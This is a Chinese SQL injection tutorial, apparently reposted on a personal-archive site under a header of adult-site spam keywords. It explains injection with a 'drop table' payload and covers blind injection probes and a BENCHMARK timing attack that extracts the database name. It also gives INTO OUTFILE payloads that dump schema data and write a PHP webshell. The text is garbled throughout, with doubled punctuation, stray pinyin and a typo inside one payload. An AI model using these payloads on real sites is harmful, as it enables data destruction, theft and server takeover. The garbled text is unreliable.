久久国产成人av_抖音国产毛片_a片网站免费观看_A片无码播放手机在线观看,色五月在线观看,亚洲精品m在线观看,女人自慰的免费网址,悠悠在线观看精品视频,一级日本片免费的,亚洲精品久,国产精品成人久久久久久久

分享

注入攻擊(SQL注入)

 印度阿三17 2018-10-11

? ? ? ? 注入攻擊是web安全領(lǐng)域中一種最為常見的攻擊方式。注入攻擊的本質(zhì),,就是把用戶輸入的數(shù)據(jù)當(dāng)做代碼執(zhí)行,。這里有兩個關(guān)鍵條件,第一是用戶能夠控制輸入,,第二個就是原本程序要執(zhí)行的代碼,,將用戶輸入的數(shù)據(jù)進(jìn)行了拼接,所以防御的思想就是基于上述兩個條件,。

SQL注入第一次為公眾所知,是在1998年的著名黑客雜志<<>Phrack>上,,一位名叫rfp的黑客發(fā)表了一片題為“NT Web Technolog Vulnerabities”的文章,。

一個簡單的SQL注入的典型例子:

var username;
username=Request.form(username); var sql="select * from UserTable where name =' " username " ' ";

變量username為用戶所提交,正常情況下,,假如用戶輸入“XiaoMing”,,那么SQL語句會執(zhí)行:

select * from UserTable where username='XiaoMing';

若用戶輸入一段有特別含義的SQL語句,比如:

XiaoMing' ;drop table UserTable--

那么SQL語句在實際執(zhí)行時就會如下:

select * from UserTable where username='XiaoMing';drop table UserTable--'

現(xiàn)在變成了查詢后,,再執(zhí)行一個drop表的操作,,而這個操作,,使用戶構(gòu)造了惡意數(shù)據(jù)的結(jié)果。

? ? ? ? 在SQL注入的過程中,,如果網(wǎng)站的Web服務(wù)器開啟了消息回顯,,則可以根據(jù)回顯的錯誤消息,探測網(wǎng)站用的是什么數(shù)據(jù)庫,,例如:錯誤提示Microsoft.JET Database Engine錯誤,,則說明是通過JET引擎連接數(shù)據(jù)庫,表明數(shù)據(jù)庫為ACESS數(shù)據(jù)庫,,如果是ODBC的話,,則說明是MSSQL數(shù)據(jù)庫。

數(shù)據(jù)庫的判斷方法有很多,,這里大致說下我了解到的幾種方法思路,,不詳細(xì)展開。

第一種基于特定函數(shù):不同的數(shù)據(jù)庫對應(yīng)著的函數(shù)名稱不一樣,,如len()和length(),,@@version()和version()在MSSQL,Mysql數(shù)據(jù)庫中不一樣,,substring()和substr()在oracle和Mysql中不一樣

第二種基于輔助符號的判斷: “ / * ”是Mysql中的注釋符,。 “ --”是Oracle和MSSQL支持的注釋符,";"子查詢標(biāo)識符,,Oracle不支持多行查詢,。結(jié)合以上符合多種作何判斷。

第三種基于錯誤回顯信息判斷:針對數(shù)據(jù)庫引擎的判斷,。

  盲注(Blind Injection)

  在沒有回顯消息的時候,,可以進(jìn)行SQL盲注,最常見的盲注驗證方法就是構(gòu)造簡單的條件語句,,根據(jù)返回頁面是否發(fā)生改變,,來判斷SQL語句是否得到了執(zhí)行。

1.簡單的 and 1=1 和 and 1=2

例如攻擊者構(gòu)造如下條件的語句:

http:///items.php?id=2 and 1=2

SQL語句由于“1=2”是個假命題,,所以攻擊者看到頁面將為空或者是一個出錯的頁面,。

為了進(jìn)一步確定注入是否存在,攻擊者必須再次驗證這個過程:

http:///items.php?id=2 and 1=1

如果這個請求頁面正常返回了,,則說明SQL語句的"and"成功執(zhí)行,,那么就可以判斷“id”參數(shù)存在SQL注入漏洞了。

  在這個攻擊過程中,,服務(wù)器雖然關(guān)閉了錯誤回顯,,但是通過攻擊者簡單的條件構(gòu)造,再對比返回結(jié)果的差異,就可以判斷出SQL注入漏洞是否存在,,這就是盲注的工作原理,。

  Timing Attack(邊信道攻擊)

  在Mysql中,有一個benchmark()函數(shù),,用來測試函數(shù)性能的,,benchmark(count,expr)函數(shù)的執(zhí)行結(jié)果就是將expr表達(dá)式執(zhí)行count次數(shù)。因此,,利用這個函數(shù),,可以讓同一個函數(shù)執(zhí)行若干次,使得結(jié)果返回時間比平時要長,;通過時間長短的變化,,可以判斷出注入語句是否執(zhí)行成功。這是一種邊信道攻擊,,這個技巧在盲注中稱為Timing Attack,。

接下來我們使用這種技巧完成攻擊,先構(gòu)造攻擊參數(shù)id值為:

2 UNION SELECT IF(SUBSTRING(cyurrent,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null)
FROM(Select Database() as current) as tbl;

這段Payload判斷數(shù)據(jù)庫名的第一個字母是否為小寫的w,。如果判斷為真,,則會通過BENCHMARK()函數(shù)造成較長的時延;如果不為真,,則該語句將很快執(zhí)行完,。攻擊者遍歷所有字母,直到將整個數(shù)據(jù)庫名稱全部驗證完成為止,。與此相似的還可以通過以下函數(shù)獲得一些額外信息:

database():當(dāng)前連接的數(shù)據(jù)庫名稱

system_user():數(shù)據(jù)庫的系統(tǒng)用戶

current_user():登錄到數(shù)據(jù)庫的當(dāng)前用戶

last_insert_id():最后一次進(jìn)行插入操作數(shù)據(jù)庫的事務(wù)id

  若當(dāng)前數(shù)據(jù)庫用戶(current_user)有寫權(quán)限,。可以將信息寫入本地磁盤中,。比如寫入web目錄中,,攻擊者就可以下載這些文件:

2 Union All SELECT *  FROM information_schema.tables where table_schema='mysql' ORDER BY table_name DESC INTO OUTFILE 
'/path/location/on/server/www/schema.txt '

 或者是寫入一個webshell:

2 Union All SELECT "<? system($_REQUEST['cmd']); ?>" ,2,3,4 INTO OUTFILE
 "var/www/html/temp/c.php"  --

在不同數(shù)據(jù)庫中,有著類似benchmark()函數(shù),,可以被Timing Attack利用,。例如:

MySql數(shù)據(jù)庫中的 benchmark(1000000,expr)和sleep(5)

PostgreSQL數(shù)據(jù)庫中的PG_SLEEP(5)和GENERATE_SERIES(1,1000000)

MSSQL Server中的 WAITFOR DELAY '0:0:5'?

?

來源:http://www./content-2-47701.html

    本站是提供個人知識管理的網(wǎng)絡(luò)存儲空間,所有內(nèi)容均由用戶發(fā)布,,不代表本站觀點,。請注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,,謹(jǐn)防詐騙,。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點擊一鍵舉報,。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評論

    發(fā)表

    請遵守用戶 評論公約

    類似文章 更多